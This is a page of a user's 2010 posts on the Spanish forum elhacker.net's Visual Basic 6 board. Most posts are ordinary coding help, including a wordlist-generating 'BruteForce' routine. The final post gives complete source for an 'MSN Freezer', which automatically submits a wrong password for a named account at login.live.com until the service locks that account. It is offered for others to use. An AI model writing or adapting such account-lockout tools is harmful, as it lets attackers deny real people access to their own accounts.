elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 ... 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 [121] 122 123 124 125 126 127 128
1201  Programación / Programación Visual Basic / [Source] VB6 Bruteforce (mejorado) en: 14 Abril 2010, 20:59 pm
Hola a todos hace poco pregunte como se hacia un Bruteforce en vb6, obtuve diferentes metodos, pero Karcrack me dijo q lo intentara por mi mismo, y asi he hecho!!  :)Les presento mi code para convinar las letras minusculas del abcdario. estuve dandole vueltas, no se si es la forma optima de hacerlo (aunque funciona a la perfeccion), por eso os pido vuestra yuda para mejorarlo y de paso aprender. ;D

Código
  1. Public Sub BruteForce()
  2.  
  3.     Dim D1, D2, D3, D4, D5, D6, D7, D8 As Integer
  4.  
  5.     D1 = 97: D2 = 97: D3 = 97: D4 = 97: D5 = 97: D6 = 97: D7 = 97: D8 = 97
  6.  
  7.     Open App.Path & "\midicionario.txt" For Output As #1
  8.  
  9. digito1:
  10.  
  11.     If D1 = 123 Then
  12.         D1 = 97
  13.         MsgBox "Combinaciones con un digito completadas", vbInformation
  14.         GoTo digito2
  15.     End If
  16.     Print #1, Chr(D1)
  17.     D1 = D1 + 1
  18.     GoTo digito1
  19.  
  20. digito2:
  21.  
  22.     If D1 = 122 And D2 = 123 Then
  23.         D1 = 97: D2 = 97
  24.         MsgBox "Combinaciones con dos digitos completadas", vbInformation
  25.         GoTo digito3
  26.     ElseIf D2 = 123 Then
  27.         D1 = D1 + 1
  28.         D2 = 97
  29.     End If
  30.     Print #1, Chr(D1) & Chr(D2)
  31.     D2 = D2 + 1
  32.     GoTo digito2
  33.  
  34. digito3:
  35.  
  36.     If D1 = 122 And D2 = 122 And D3 = 123 Then
  37.         D1 = 97: D2 = 97: D3 = 97
  38.         MsgBox "Combinaciones con tres digitos completadas", vbInformation
  39.         GoTo digito4
  40.     ElseIf D2 = 122 And D3 = 123 Then
  41.         D2 = 97: D3 = 97
  42.         D1 = D1 + 1
  43.     ElseIf D3 = 123 Then
  44.         D2 = D2 + 1
  45.         D3 = 97
  46.     End If
  47.     Print #1, Chr(D1) & Chr(D2) & Chr(D3)
  48.     D3 = D3 + 1
  49.     GoTo digito3
  50.  
  51. digito4:
  52.  
  53.     If D1 = 122 And D2 = 122 And D3 = 122 And D4 = 123 Then
  54.         D1 = 97: D2 = 97: D3 = 97: D4 = 97
  55.         MsgBox "Combinaciones con cuatro digitos completadas", vbInformation
  56.         GoTo fin
  57.     ElseIf D2 = 122 And D3 = 122 And D4 = 123 Then
  58.         D2 = 97: D3 = 97: D4 = 97
  59.         D1 = D1 + 1
  60.     ElseIf D3 = 122 And D4 = 123 Then
  61.         D3 = 97: D4 = 97
  62.         D2 = D2 + 1
  63.     ElseIf D4 = 123 Then
  64.         D4 = 97
  65.         D3 = D3 + 1
  66.     End If
  67.     Print #1, Chr(D1) & Chr(D2) & Chr(D3) & Chr(D4)
  68.     D4 = D4 + 1
  69.     GoTo digito4
  70.  
  71. fin:
  72.  
  73.     MsgBox "Fin", vbExclamation
  74.     Close #1
  75.  
  76. End Sub
  77.  

Si no entienden algo no uden en preguntar  ;)

Garcias Karcrack
1202  Programación / Programación Visual Basic / Re: [ayuda] Combinar caracteres en: 14 Abril 2010, 15:13 pm
Estoy trabakando en ello, en unos dias subo el code ;-)
1203  Programación / Programación Visual Basic / Re: Facil programita de supermercado. en: 14 Abril 2010, 14:57 pm
Pero el error no t lo va ha dar donde declaras las variables, te lo va dar a la hora de utilizarlas, creo yo... :-\
Ademas, todas son As Single, si te da error en la linea q t puse yo, ya sabes que es As Single lo que has de cambiar.
Y si ya as compilado el programa y sabes q no tiene fallos, entonces ya lo podrias haber simplificado, no?? :huh:
Creo q estaria bn q subieras el code corregido... ;D

Salu2 ;)
1204  Programación / Programación Visual Basic / Re: [ayuda] Conbinar caracteres en: 13 Abril 2010, 20:42 pm
Cita de: Karcrack en 13 Abril 2010, 18:36 pm
Vas a ver mi comentario como uno que no ayuda, pero date cuenta que si te lo hacen no aprenderás.
No Karcrak, entiendo lo q m dices a la perfeccion, me esforzare y lo intentare sacar por mi mismo. :)
Me podre a ello ahora que ya se por donde tirar...

Gracias a to2!
1205  Programación / Programación Visual Basic / Re: [ayuda] Conbinar caracteres en: 13 Abril 2010, 17:16 pm
Gracias BlackZeroX▓▓▒▒░░  ;D, pero creo q no es lo que necesito:

En vez de:
Código
  1. Call Combinaciones("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
  2.  
puse:
Código
  1. Call Combinaciones("ABC")
  2.  
Y obtuve como resultado en el ListBox esto:
Código:
ABC
ACB
BAC
BCA
CAB
CBA
Faltan BBA o BCC por ejemplo, ademas, necesito que sea de 2 digitos y con todas las combinaciones... :huh:

Salu2
1206  Programación / Programación Visual Basic / Re: Facil programita de supermercado. en: 13 Abril 2010, 16:38 pm
He observado que tienes varios botones con lo mismo:

Cita de: CL1O en  8 Abril 2010, 21:23 pm
Private Sub Command12_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command12.Width = 1000
Command12.Height = 400
End Sub

Private Sub Command14_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command14.Width = 1000
Command14.Height = 400
End Sub

Private Sub Command15_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command15.Width = 1000
Command15.Height = 400
End Sub

Private Sub Command16_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command16.Width = 1000
Command16.Height = 400
End Sub

Puedes ahorrar mucho code de una manera: creando una matriz de controles.

Prueba con algo asi:
Código
  1. Private Sub Command1_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
  2.  
  3.     Command1(Index).Width = 1000
  4.     Command1(Index).Height = 400
  5.  
  6. End Sub
  7.  

Saludos  ;)
1207  Programación / Programación Visual Basic / Re: Facil programita de supermercado. en: 13 Abril 2010, 15:14 pm
Cita de: CL1O en  8 Abril 2010, 21:23 pm
Dim cant1 As Single 'declara la bariable tipo numerico
Dim cant2 As Single 'declara la bariable tipo numerico
Dim cant3 As Single 'declara la bariable tipo numerico
Dim cant4 As Single 'declara la bariable tipo numerico
Dim cant5 As Single 'declara la bariable tipo numerico
Dim cant6 As Single 'declara la bariable tipo numerico
Dim cant7 As Single 'declara la bariable tipo numerico
Dim cant8 As Single 'declara la bariable tipo numerico
Dim cant9 As Single 'declara la bariable tipo numerico
Dim cant10 As Single 'declara la bariable tipo numerico

Dim precio1 As Single 'declara la bariable tipo numerico
Dim precio2 As Single 'declara la bariable tipo numerico
Dim precio3 As Single 'declara la bariable tipo numerico
Dim precio4 As Single 'declara la bariable tipo numerico
Dim precio5 As Single 'declara la bariable tipo numerico
Dim precio6 As Single 'declara la bariable tipo numerico
Dim precio7 As Single 'declara la bariable tipo numerico
Dim precio8 As Single 'declara la bariable tipo numerico
Dim precio9 As Single 'declara la bariable tipo numerico
Dim precio10 As Single 'declara la bariable tipo numerico

Dim total1 As Single 'declara la bariable tipo numerico
Dim total2 As Single 'declara la bariable tipo numerico
Dim total3 As Single 'declara la bariable tipo numerico
Dim total4 As Single 'declara la bariable tipo numerico
Dim total5 As Single 'declara la bariable tipo numerico
Dim total6 As Single 'declara la bariable tipo numerico
Dim total7 As Single 'declara la bariable tipo numerico
Dim total8 As Single 'declara la bariable tipo numerico
Dim total9 As Single 'declara la bariable tipo numerico
Dim total10 As Single 'declara la bariable tipo numerico

Creo que a la hora de declarar variables tb puedes ahorrar code:
Código
  1. Dim total1 ,total2 ,total3 ,total4 ,total5 ,total6 ,total7 ,total8 ,total9 ,total10 As Single
  2.  

Y asi con las demas...
1208  Programación / Programación Visual Basic / Re: [ayuda] Conbinar caracteres en: 12 Abril 2010, 21:36 pm
si, exacto ;)
1209  Programación / Programación Visual Basic / [ayuda] Combinar caracteres en: 12 Abril 2010, 21:05 pm
Hola amigos, necesito su ayuda :huh:, necesito conbinar todos los caracteres del abecedario de 2 a 6 digitos, algo asi:

Código:
aa
ab
ac
ad
...
az
bb
ba
...
Muchas gracias!!! ;D
1210  Programación / Programación Visual Basic / [SRC] Msn Freezer Compact [by *PsYkE1*] en: 12 Abril 2010, 01:12 am
Hola amigos, os presento este code de un Msn freezer, pero a diferencia de los demas, ahorra mucho codigo y cumple basicamente la misma funcion, generalmente en menos tiempo, no se si esto ya se le habia ocurrido antes a alguien, pero ahi va... Por cierto, las criticas constructivas son bienvenidas!! ;D

*Utilizo componente:

    -Microsoft Internet Controls

*En el formulario agrego:

    -Un Textbox = Text1
    -Un CommandButton = Command1
    -Un WebBrowser = WB

Código
  1. ' ////////////////////////////////////////////////////////////////
  2. ' // *Autor: *PsYkE1* (miguelin.majo@gmail.com)                 //
  3. ' // *Podeis agrandar o reducir el codigo, siempre y cuando se  //
  4. ' // respete la autoria y se me comuniquen esos cambios.        //
  5. ' // *Agradecimientos a BlackZeroX.                             //
  6. ' // *Visita http://foro.rthacker.net                           //
  7. ' ////////////////////////////////////////////////////////////////
  8.  
  9. Dim Flag As Boolean
  10.  
  11. Private Sub Command1_Click()
  12.     'Dependiendo del Caption del botón realiza una u otra acción
  13.     If Command1.Caption = "Congelar" Then
  14.         'Si el Text1 esta vacio
  15.         If Text1.Text = "" Then
  16.             Flag = False
  17.             MsgBox "Debes introducir una cuenta", vbCritical, "*PsYkE1* Msn Freezer v1.0"
  18.         Else
  19.             Flag = False
  20.             Text1.Enabled = False
  21.             WB.Navigate ("login.live.com") 'Abro la Web para logearse
  22.             Command1.Caption = "Descongelar"
  23.         End If
  24.     Else
  25.         Text1.Enabled = True
  26.         Command1.Caption = "Congelar"
  27.         WB.Navigate ("") 'Salgo de la Web
  28.         MsgBox "La cuenta " & Text1.Text & " ha sido descongelada", vbInformation, "*PsYkE1* Msn Freezer v1.0"
  29.     End If
  30. End Sub
  31.  
  32. Private Sub Form_Load()
  33.     Me.Caption = "*PsYkE1* Msn Freezer v1.0" 'Pongo Title al Form
  34.     Command1.Caption = "Congelar" 'Asigno el Caption al botón
  35.     Flag = True 'Activo el interruptor
  36. End Sub
  37.  
  38. Private Sub WB_DocumentComplete(ByVal pDisp As Object, URL As Variant)
  39.     On Error Resume Next 'Si hay error no lo muestre
  40.     If Flag Then Exit Sub 'Si el interuptor está activado salgo
  41.     With WB
  42.         .Document.All("login").Value = Text1.Text 'Ingreso la cuenta
  43.         .Document.All("passwd").Value = "by*PsYkE1*" 'Pongo una contraseña que no es
  44.         .Document.All("SI").Click 'hago click
  45.     End With
  46.     ' Si encuentro la cadena "demasiadas veces" en el documento del WB...
  47.     If InStr(WB.Document.Body.InnerHtml, "demasiadas veces") Then
  48.         MsgBox "La cuenta : " & Text1.Text & " ha sido bloqueada con éxito!" _
  49.         , vbInformation, "*PsYkE1* Msn Freezer v1.0": Flag = True
  50.     End If
  51. End Sub

Espero que os haya gustado :)
Páginas: 1 ... 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 [121] 122 123 124 125 126 127 128
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines